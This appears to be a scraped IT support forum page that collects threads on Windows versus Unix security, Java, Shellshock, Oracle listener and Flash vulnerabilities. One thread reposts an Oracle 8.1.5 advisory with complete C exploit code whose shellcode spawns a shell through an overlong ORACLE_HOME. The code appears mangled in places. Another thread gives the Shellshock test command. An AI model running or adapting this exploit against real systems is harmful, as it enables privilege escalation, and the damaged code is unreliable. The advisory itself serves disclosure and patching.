Vulnerability

Hi!
I want to clear one question exactly – Windows and *NIX systems.
Vulnerability is up to all the systems. The system is free for Vulnerability until we know it has Vulnerability.
Are there some key points make the approach different for Windows and *NIX?
Microsoft calls updates as Security Updates and updates for *NIX systems is for security or for reliability (I do not say for both systems about software updates like Service Packs)?
I mean if we can divide system modules to unVulnerability modules and Vulnerability modules for each system or not?
Here on forum I saw posts saying FreeBSD is more security system then Linux. How do I understand this? If I want more secure server I am to turn to FreeBSD?
And how all these are to Windows. I like Widows Server for comfortable configuration tools and many compatible easy integrated Services.
The vital point is Warranty. Microsoft takes money for the products and as I understand gives some Warranty and Support.
What Warranty is for *NIX systems and support? Or I am to turn to commercial products for getting Warranty and Support. As it commercial point then why I am turn to *NIX not to Windows?
What are the basic points for Security between Windows and *NIX? And what is for Arch with all these?
Please, do not answer with like "I use this because I like this".
I really need some professional answer with this question!
Thank you!

zaozao wrote:Sorry. It is not helpful much!
You know, you can do your own research on the subject, that way you'll find out exactly what you want or need to know rather than have people throw links at you that you may or may not find useful.
zaozao wrote:And what is about FreeBSD exactly?
Visit FreeBSD's website, they have some of the finest documentation I have ever seen.
zaozao wrote:Can you list some UNIX systems?
ralvez's link (which you said was unhelpful) contains a list of the more common unices along with a brief overview of them.
You'll not get much warranty with any software, at least with open source stuff or "off the shelf" products like Microsoft Windows. As has been said read the EULA of the software you use, it most likely says the company can not be held responsible for any damages caused by using their software.
You can get support for Linux distributions, Redhat offer support for their products. Slackware has a list of third party companies that offer support for it for example. However you need to pay for this support. In general you can obtain a Linux distribution for free. However that doesn't come with a support service that you can ring up or email and demand a solution from. If you need more support than the man pages, or a group of volunteers on a website forum your going to have to find a company willing to give it and sign a contract with them.
As regards whether or not FreeBSD is more secure than Linux, well I believe strongly that security is down to the system administrator's skill. Any one can set up a FreeBSD box insecurely. A good admin can set up a Linux box to be very secure. If your looking to set up a server I would choose the OS you have most experience with. If for example you have years and years of experience with Windows and no experience with FreeBSD then use Windows. If your interested in another system get it set up on a devel or test server in a protected environment and learn how to use it.
I can't be bothered with the Windows updates versus everyone elses updates argument/discussion. Sorry.
I haven't been using Arch for a long time. However it seems to me that it doesn't really have a security update policy. It doesn't have a security branch that only provides security updates to the 'release' branch. However Arch is a rolling release and as soon as a maintainer is notified that a piece of software that Arch uses is out of date they update the repositories with a new package of the software. So by keeping your system in sync with the repositories you'll be automatically keeping your system fully patched in theory.
The whole jist of your post, to me, seems to be "What shall I use: Windows, Linux, some other unix?". You have to make up your own mind on that I'm afraid. You need to put some time and effort researching and reading papers addressing your concerns and make an informed choice upon that information.

Similar Messages

  • Is java vulnerable in safari 5.1? I have a macbook using 10.6.8

    I am worried about the java vulnerability.  I need it to pay bills on my banks website.  is java vulnerable in safari 5.1.  I am using a macbook with os 10.6.8

    The recently discovered zero-day flaw in Java 7 is so serious that the U.S. Department of Homeland Security has warned users to disable or uninstall it, and Apple has disabled the Java 7 plugin on Macs through its OS X anti-malware system, in order to protect users from a potentially serious security issue.
    You should disable Java (if not already done) until either the US Department of Homeland Security, or Oracle, declare it safe and Apple restore the facility. Oracle have released an update said to fix the security flaw, available from here:
    http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.h tml
    Javascript should not be disabled (it has nothing to do with Java), and is probably what your bank is using.

  • Shellshock Vulnerability

    Are any of the Adobe Creative Cloud services vulnerable to the Bash / Shellshock bug?

    The Cisco PSIRT is investigating the impact of this vulnerability on Cisco products and will disclose any vulnerabilities according to our security policy, which is available at http://www.cisco.com/web/about/security/psirt/security_vulnerability_policy.html .
    An INTERIM Cisco Security Advisory was published on September 25th, 2014 and is available at the following URL:
    http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
    The Cisco PSIRT will update this Cisco Security Advisory as more information becomes available.

  • Are we really vulnerable for plugins?

    Are we really vulnerable... or is the admonition to perform updates a catchall for out-of-date plugins? What I mean is, do these plugins really miss a new vulnerability every other week, or is the term "vulnerable" used to mean that there is a newer release available and you should just update it later, because maybe this release fixed something.
    I really want to know when cyber creeps have unleashed a new round of havoc via bad code in the plugins. However, I don't have the time to chase updates in Acroread or Java every week. Besides, after every series of updates, I always need to open up Microsoft Autoruns and disable their self-installed processes to call home and check versions whenever I boot up. I'm sorry, but any updating will be done by me when I'm not late for something at work. I can't say how many times my computer is stalled checking for new versions (and downloading and installing them while I'm trying to do accomplish something!)
    So if these vulnerabilities are just a reflection of there being a new version available, I'll research and weigh my options for the day and just avoid vulnerable sites for a couple weeks (that's a joke - I always avoid vulnerable sites and have never gotten a virus). However, if these really mean that bad guys are actively deploying malware, I'll take them more seriously. I know how to manage the risks if I know what this message means.
    One might wonder why plugins to display images and documents would be so vulnerable anyways. Is there really code in them that says "ok, the document is displayed, is there anything else the server side would like us to run on the client PC?" :) Looking at the recent Apple QT versions, they're not clear if the "arbitrary code" that gets run is that the PC will continue to execute random stuff in memory (which is more likely to lead to a crash) or if it's code placed in the image that will get executed.
    Thanks in advance for clarifying...

    hello, yes the updates from adobe and oracle for its plugins contain fixes for discovered vulnerabilities regularly. this should not be taken lightly since outdated plugins are the #1 infection vector for malware on the web nowadays...
    ''edit: you also might not be safe by just visiting known & "trusted" sites, since also ad-networks or content delivery networks might get hacked and used for the spreading of malware.''
    http://www.adobe.com/support/security/
    <br>http://www.oracle.com/technetwork/topics/security/alerts-086861.html

  • I'm having trouble with something that redirects Google search results when I use Firefox on my PC. It's called the 'going on earth' virus. Do you have a fix that could rectify the vulnerability in your software?

    I'm having trouble with a virus or something which affects Google search results when I use Firefox on my PC ...
    When I search a topic gives me pages of links as normal, but when I click on a link, the page is hijacked to a site called 'www.goingonearth.com' ...
    I've done a separate search and found that other users are affected, but there doesn't seem to be a clear-cut solution ... (Norton, McAfee and Kaspersky don't seem to be able to detect/fix it).
    I'd like to continue using the Firefox/Google combination (nb: the hijack virus also affects IE but not Safari) - do you have a patch/fix that could rectify the vulnerability in your software?
    thanks

    ''' "... vulnerability in your software?" ''' <br />
    And it affects IE, too? Ya probably picked up some malware and you blame it on Firefox.
    Install, update, and run these programs in this order. They are listed in order of efficacy.<br />'''''(Not all programs detect the same Malware, so you may need to run them all to solve your problem.)''''' <br />These programs are all free for personal use, but some have limited functionality in the "free mode" - but those are features you really don't need to find and remove the problem that you have.<br />
    ''Note: If your Malware infection is bad enough and you are mis-directed to URL's other than what is posted, you may have to use a different PC to download these programs and use a USB stick to transfer them to the afflicted PC.''
    Malwarebytes' Anti-Malware - [http://www.malwarebytes.org/mbam.php] <br />
    SuperAntispyware - [http://www.superantispyware.com/] <br />
    AdAware - [http://www.lavasoftusa.com/software/adaware/] <br />
    Spybot Search & Destroy - [http://www.safer-networking.org/en/index.html] <br />
    Windows Defender: Home Page - [http://www.microsoft.com/windows/products/winfamily/defender/default.mspx]<br />
    Also, if you have a search engine re-direct problem, see this:<br />
    http://deletemalware.blogspot.com/2010/02/remove-google-redirect-virus.html
    If these don't find it or can't clear it, post in one of these forums for specialized malware removal help: <br />
    [http://www.spywarewarrior.com/index.php] <br />
    [http://forum.aumha.org/] <br />
    [http://www.spywareinfoforum.com/] <br />
    [http://bleepingcomputer.com]

  • Error message that Firefox version 5.0 or later is vulnerable to phishing but I am running Firefox 16.0

    I get a small box that comes up each time I enter Firefox saying that Firefox 5.0 is vulnerable to phishing and other threats. I am not sure where this message comes from. I have Norton software on the my computer. The box further asks me to update my Firefox to a later version. I check my preferences and I am running Firefox 16.0 the newest version.
    I am not sure what to do about this situation.

    See [[/questions/935636]]

  • Rtf-Vulnerability in Office 2013 Web Apps Server

    I was trying to install a hotfix for our Office Web Apps server because of the vulnerability listed here:
    http://technet.microsoft.com/en-us/security/advisory/2953095
    The suggested solution is installing a hotfix (http://technet.microsoft.com/en-us/security/advisory/2953095). But when trying to install it on our Office Web Apps server (Windows Server 2012), I just a message that it can't be installed on this operating
    system or for this version of the application.
    How do I install the hotfix or disable RTF content for the Word Web Apps server?

    Hi Lakner,
    According to your description, my understanding is that the hotfix cannot be installed in Office Web Apps Server 2013.
    As the articles below said, “the affected versions include Word 2003, 2007, 2010, Office for Mac 2011, Office Web Apps 2010 and Office Web Apps Server 2013. However, Microsoft said the active attacks have only targeted those systems running
    Word 2010.”
    http://redmondmag.com/articles/2014/03/25/office-0day-exploit.aspx
    http://blogs.technet.com/b/srd/archive/2014/03/24/security-advisory-2953095-recommendation-to-stay-protected-and-for-detections.aspx
    Best regards.
    Thanks
    Victoria Xia
    TechNet Community Support

  • Iphone 3G Software Update Fixes security vulnerability associated with viewing malicious PDF files?

    Is there an Iphone 3G Software Update Fixes security vulnerability associated with viewing malicious PDF files?  Latest version I can download is 4.2.1
    I assume no fix is available, does anyone know if I'm still vulnerable to the security bug?

    No fix is needed since that vulnarability isn't in 4.2.1.

  • Hi, I don't know how to find a specific security patch to apply to my Oracle database version to fix a vulnerability

    Hi, I don't know how to find a specific security patch to apply to my Oracle database version 11.2.0.2.0 (on windows server 2003 32 bits) to fix the following vulnerability:
    Risk: High
    Application: oracle_tnslsnr
    Port: 1521
    Protocol: tcp
    Synopsis:
    It is possible to register with a remote Oracle TNS listener.
    Description:
    The remote Oracle TNS listener allows service registration from a remote host. An attacker can exploit this issue to divert data from a
    legitimate database server or client to an attacker-specified system.
    Successful exploits will allow the attacker to manipulate database instances, potentially facilitating man-in-the-middle, sessionhijacking,
    or denial of service attacks on a legitimate database server.
    Solution:
    Apply the work-around in Oracle's advisory.
    Thank you for your help

    2835604 wrote:
    Hi, I don't know how to find a specific security patch to apply to my Oracle database version 11.2.0.2.0 (on windows server 2003 32 bits) to fix the following vulnerability:
    Risk: High
    Application: oracle_tnslsnr
    Port: 1521
    Protocol: tcp
    Synopsis:
    It is possible to register with a remote Oracle TNS listener.
    Description:
    The remote Oracle TNS listener allows service registration from a remote host. An attacker can exploit this issue to divert data from a
    legitimate database server or client to an attacker-specified system.
    Successful exploits will allow the attacker to manipulate database instances, potentially facilitating man-in-the-middle, sessionhijacking,
    or denial of service attacks on a legitimate database server.
    Solution:
    Apply the work-around in Oracle's advisory.
    Thank you for your help
    that sounds like the "tns poison" vulnerability.  CVE 2012-1675 - Oracle Security Alert CVE-2012-1675
    See MOS note 134083.1  and 1453883.1

  • We use an add-on in one of our online solutions and we've identified a security vulnerability. The issue has been addressed in our latest add-ons and we would like to know how we may blocklist our previous player through a firefox update?

    We use an add-on in one of our online solutions and we've identified a security vulnerability. The issue has been addressed in our latest add-ons and we would like to know how we may blocklist our previous player through a firefox update?

    You can file a bug report to do that request.
    http://developer.mozilla.org/en/docs/Bug_writing_guidelines

  • Security vulnerability in Oracle 8.1.5

    The following email was forwarded to me about possible security vulnerabilities.
    I am looking for verification from both Oracle and the user comunity.
    ================================================================================
    [ Hackerslab bug_paper ] Linux ORACLE 8.1.5 vulnerability
    ================================================================================
    File : Oracle 8.1.5
    SYSTEM : LINUX
    Tested by RedHat Linux 6.2
    INFO :
    There are two security vulnerability in Oracle.
    1. buffer overflow
    It is possible to create a buffer overflow vulnerability using "ORACLE_HOME",
    one of the environmental value of Oracle.
    Oracle applications that are vulnerable to buffer overflow are as follow :
    - names
    - namesctl
    - onrsd
    - osslogin
    - tnslsnr
    - tnsping
    - trcasst
    - trcroute
    Thease applications allow an attacker to excute a buffer overflow exploit.
    2. Log-files created
    When a user excutes one of Oracle applications such as names, oracle or tnslsnr,
    following log files are created.
    names
    ======
    -rw-rw-r-- 1 oracle dba 0 Oct 20 01:45 ckpcch.ora
    -rw-rw-r-- 1 oracle dba 428 Oct 20 01:45 ckpreg.ora
    -rw-rw-r-- 1 oracle dba 950 Oct 20 01:45 names.log
    oracle
    ======
    -rw-rw---- 1 oracle dba 616 Oct 20 05:14 ora_[running pid].trc
    tnslsnr
    =======
    -rw-rw-r-- 1 oracle dba 2182176 Oct 20 2000 listener.log
    SOLUTION
    Contact your vendor for a patch or close setuid permission.
    # su - oracle
    $ cd /oracle_8.1.5_install_directory/bin
    $ chmod a-s names namesctl onrsd osslogin tnslsnr tnsping trcasst trcroute
    ==-------------------------------------------------------------------------------==
    * ** ** * [email protected] [yong-jun, kim]
    * ** ** * [ [URL=http://www.hackerslab.org]http://www.hackerslab.org ]
    ******** HACKERSLAB (C) since 1999
    ==-------------------------------------------------------------------------------==
    Oracle 8.1.5 exploit
    -by loveyou
    offset value : -500 ~ +500
    #include <stdio.h>
    #include <stdlib.h>
    #define BUFFER 800
    #define NOP 0x90
    #define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names"
    char shellcode[] =
    /* - K2 - */
    /* main: */
    "\xeb\x1d" /* jmp callz */
    /* start: */
    "\x5e" /* popl %esi */
    "\x29\xc0" /* subl %eax, %eax */
    "\x88\x46\x07" /* movb %al, 0x07(%esi) */
    "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
    "\x89\x76\x08" /* movl %esi, 0x08(%esi) */
    "\xb0\x0b" /* movb $0x0b, %al */
    "\x87\xf3" /* xchgl %esi, %ebx */
    "\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
    "\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
    "\xcd\x80" /* int $0x80 */
    "\x29\xc0" /* subl %eax, %eax */
    "\x40" /* incl %eax */
    "\xcd\x80" /* int $0x80 */
    /* callz: */
    "\xe8\xde\xff\xff\xff" /* call start */
    "/bin/sh";
    unsigned long getesp(void)
    __asm__("movl %esp,%eax");
    int main(int argc, char *argv[])
    char buff, ptr,binary[120];
    long *addr_ptr, addr;
    int bsize=BUFFER;
    int i,offset;
    offset = 0 ;
    if ( argc > 1 ) offset = atoi(argv[1]);
    buff = malloc(bsize);
    addr = getesp() - 5933 - offset;
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
    memset(buff,bsize/2,NOP);
    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode;
    buff[bsize - 1] = '\0';
    setenv("ORACLE_HOME",buff,1);
    printf("[ offset:%d buffer=%d ret:0x%x ]\n",
    offset,strlen(buff),addr);
    system(PATH);
    null

    Hi Peter,
    I was told that Oracle8 and Oracle8i Parallel Server on IBM
    RS/6000 AIX comes with its own Lock Manager and this LM does not
    rely on the Cluster Lock Manager (cllockd) of HACMP for AIX, as
    Oracle7 Parallel Server on normal (non-SP) RS/6000 does.
    (Oracle7 Parallel Server on RS/6000 SP didn't use the cllockd of
    HACMP but came with a special LM.)
    Cluster-wide Filesystems are not used for OPS on Unix, as far as
    I know Unix (AIX, Solaris). All Data-, Log- and Control-Files
    must reside on concurrently (!) accessible Raw-Devices (e.g. Raw
    Logical Volumes on AIX).
    So I guess it should be possible for Oracle to port OPS to Linux.
    No special Cluster-Services would be needed for OPS on Linux,
    just a shared SCSI-bus (e.g.) and a fast interconnect (e.g.
    100BaseT).
    Peter Sechser (guest) wrote:
    : Dave,
    : Parallel Server needs some cluster services in order to
    : communicate between several nodes. So, the operating system has
    : to offer things like inter-node communication services,
    : cluster-wide lock communication services and a clusterwide
    : filesystem. I'm not quite sure, to what degree Linux
    offers/will
    : offer these services.
    : Peter
    null

  • Oracle 8.1.7 with OSE affected by HTTP TRACE / TRACK vulnerability

    Hi All,
    I had no luck using the search function for the problem I'm facing. As for the possibility of posting this in the wrong category, I apologize.
    I'm supporting an application that uses Oracle 8.1.7 in a Solaris 9 environment. The web server in use is Apache 1.3.12.
    In a security scan, the HTTP TRACK/TRACE vulnerability was found on port 8080. I immediately checked the apache config file (httpd.conf) and found that the apache instance runs on port 7777 and the TRACE and TRACK method is already disabled.
    With some help from a colleague, I found that the Oracle Servlet Engine (OSE) admin service is running on port 8080. Disabling this service is not an option because it renders the application unusable. How can I disable these HTTP methods?
    If more information is required, do ask.

    It still seems incredibly low priority to me - I'm not sure if you could even exploit that vulnerability in this instance, even somone did get onto your network.
    But, you could configure requests to be routed via the http server http://download.oracle.com/docs/cd/A87860_01/doc/java.817/a83720/modi_apa.htm#77221 - which will filter out the track/trace requests, but I'm not sure if you could disable direct access to the servlet engine.
    Apart from that, not really sure.

  • The Firefox checking system says that Shockwave Flash 10.1.82.76 (10.1.r82) is VULNERABLE and I should immediately update it. When updating I can find no higher version of Shockwave Flash that is compatible with my system. What should I do ?

    1. I have an eMac running Mac OS 10.5.8
    Processor Name: PowerPC G4 (3.3)
    Processor Speed: 1 GHz
    Number Of CPUs: 1
    L2 Cache (per CPU): 256 KB
    Memory: 1 GB
    Bus Speed: 133 MHz
    2. I use Firefox 3.6.24 as my browser
    3. The Firefox checking system says that the version of Shockwave Flash that I have installed, namely 10.1.82.76 (10.1.r82), presents a security VULNERABILITY and that I should immediately update it or disable it. On attempting to find an update I cannot locate a higher/more advanced version of Shockwave Flash that is compatible with my system. What should I do ?
    Thankyou for any assistance.

    The latest version for your system seems to be Flash 10.1 r102
    Flash Player 10.1 Release Notes: (latest version for Mac PPC)
    * http://kb2.adobe.com/cps/838/cpsid_83808.html
    See (Released 11/04/2010) Flash Player 10.1.102.64 and 9.0.289.0 (126 MB)
    * http://kb2.adobe.com/cps/142/tn_14266.html Archived Flash Player versions

  • Bash vulnerability in Solaris 10

    http://seclists.org/oss-sec/2014/q3/650
    https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
    Any plans for a hotfix for bash on Solaris 10?
    $env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    vulnerable
    this is a test
    SunOS hostname 5.10 Generic_150401-13 i86pc i386 i86pc
    $bash -version
    GNU bash, version 3.2.51(1)-release (i386-pc-solaris2.10)
    Copyright (C) 2007 Free Software Foundation, Inc.
    $pkginfo -l SUNWbash
       PKGINST:  SUNWbash
          NAME:  GNU Bourne-Again shell (bash)
      CATEGORY:  system
          ARCH:  i386
       VERSION:  11.10.0,REV=2005.01.08.01.09
       BASEDIR:  /
        VENDOR:  Oracle Corporation
          DESC:  GNU Bourne-Again shell (bash) version 3.2
        PSTAMP:  sfw10-patch-x20120813130538
      INSTDATE:  Aug 19 2014 07:23
       HOTLINE:  Please contact your local service provider
        STATUS:  completely installed
         FILES:        4 installed pathnames
                       2 shared pathnames
                       2 directories
                       1 executables
                    1250 blocks used (approx)

    Hard to say whether it's safer to wait or safer to patch it yourself in the meantime but, if like me you'd rather not wait an indefinite period of time for a patch, here is a patching process that's working for me:
    Found the newest GNU patch compiled for Solaris on Open CSW: bash - Solaris package
    To install, you'll want the CSW package utility. Here are some instructions, but I'll also go over it below: Getting started — OpenCSW 0.2014.04 documentation
    You may already have the CSW package utilities installed, check under "/opt/csw/bin" for "pkgutil". If it's not there, issue
    pkgadd -d http://get.opencsw.org/now
    Then, I like to add a symbolic link into /usr/bin to make it easier:
    sudo ln -s /opt/csw/bin/pkgutil /usr/bin/pkgutil
    Now we can do the install -- pkgutil is going to handle all the heavy lifting, dependency building etc., and place the new bash binary into "/opt/csw/bin"
    sudo pkgutil -U
    sudo pkgutil -a bash
    sudo pkgutil -i bash
    Follow the prompts, and then look under /opt/csw/bin for bash:
    ls /opt/csw/bin | grep bash
    If you see it listed there w/ a Sep 25th date (or later, if you're following these instructions in my future), then you're ready for the final step -- replacing the old bash binary with the new.
    We're going to replace /usr/bin/bash with a link to /opt/csw/bin/bash. I was worried this step would crash running processes and applications (weblogic, BI, db instances), but so far no issues -- that said, PLEASE be careful and shutdown anything you can first! I can't be sure this step will work w/o any hiccups every time.
    cd /usr/bin
    sudo cp bash bash-old
    sudo ln -f /opt/csw/bin/bash /usr/bin/bash
    You can see we backed up the old bash install (4.1), in case something goes wrong. When finished, issue that command and you should see an error message now:
    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    bash: warning: x: ignoring function definition attempt
    bash: error importing function definition for `x'
    this is a test
    Again, BE CAREFUL -- while I was figuring this out, I did take down a couple zones to the point where I couldn't SSH back into them.
    That said, the steps above are working flawlessly for me -- BUT I can't guarantee you'll have the same experience!

  • ISE 1.2.0.899 vulnerable to Shellshock?

    Hi, I just saw that version 1.2(0.747) is vulnerable. How about 1.2.0.899?
    https://tools.cisco.com/bugsearch/bug/CSCur00532
    KR

    I've asked the PSIRT Team and they confirmed that ISE is vulnerable.
    http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
    (Prime Infrastructure is vulnerable as well but is not yet mentioned in the advisory.  It will be added in an upcoming revision.)

  • Flash Player 11.8.800.94  Critical Vulnerability

    Greetings.
    To my horror I just discovered on our webpages, with Plash Player enabled in the latest versions of IE and Firefox that at our commercial website (supremefulvic.com) advertising links are randomly being added to words on our webpage!!!! Through our hosting provider tech support I discovered that Flash Player 11.8.800.94 was the culprit. I disabled the Flash Player add-ons and all of the intrusive ad-links dissappeare. I then enabled Flash Player and all of the abusive unwanted ad-links re-appeared. Please research ASAP as I believe Flash Player has a vulnerability. This is absolutely abuse from Flash Player.
    Thank you in advance.
    Bill Galkowski, chief operating manager / web developer
    Supreme Fulvic, LLC
    www.supremefulvic.com

    Shockwave Flash add-on is what the software is, not Flash Player, my mistake, sorry. Anyway, I discovered what the problem was.  When I downloaded and installed Shockwave Flash a day or so ago somehow along with the Shockwave Flash installation some type a ad software was coupled with the download and it go inadvertantly installed on my computer. I am always very cautious when installing software so as NOT to install anything other than what I specifically want to install. That ad software was integrated into my browsers with Shockwave Flash, and that ad software, through the browser using Shockwave Flash was targeting various keywords on all of the webpages I viewed with the browsers. When I disable Shockwave Flash the hyperlinks no longer appeared on the various keywords, and when I re-enabled Shockwave Flash the keywords were again turned into ad links. After my initial post here I did some more research and in one of the forums someone mentioned to check the installed programs through the Windows control panel and see if any type of ad software was installed. Well, I did check, and I discovered an installation of some type of ad software and I uninstalled it. My bad for not writing down the name of that software, and I humbly apologize for not doing so. After I uninstalled it those links did not appear on any of the web pages I visited. So, the problem was not Shockwave Flash, rather, it was that software that was USING Shockwave Flash to carry out its mission. So, if anyone else discovers those ad links appearing in their web pages they need to check the installed programs and see if any type of ad software is intalled, then if it is there, uninstall it.
    By the way, thank you C F McBlob for your response.

Maybe you are looking for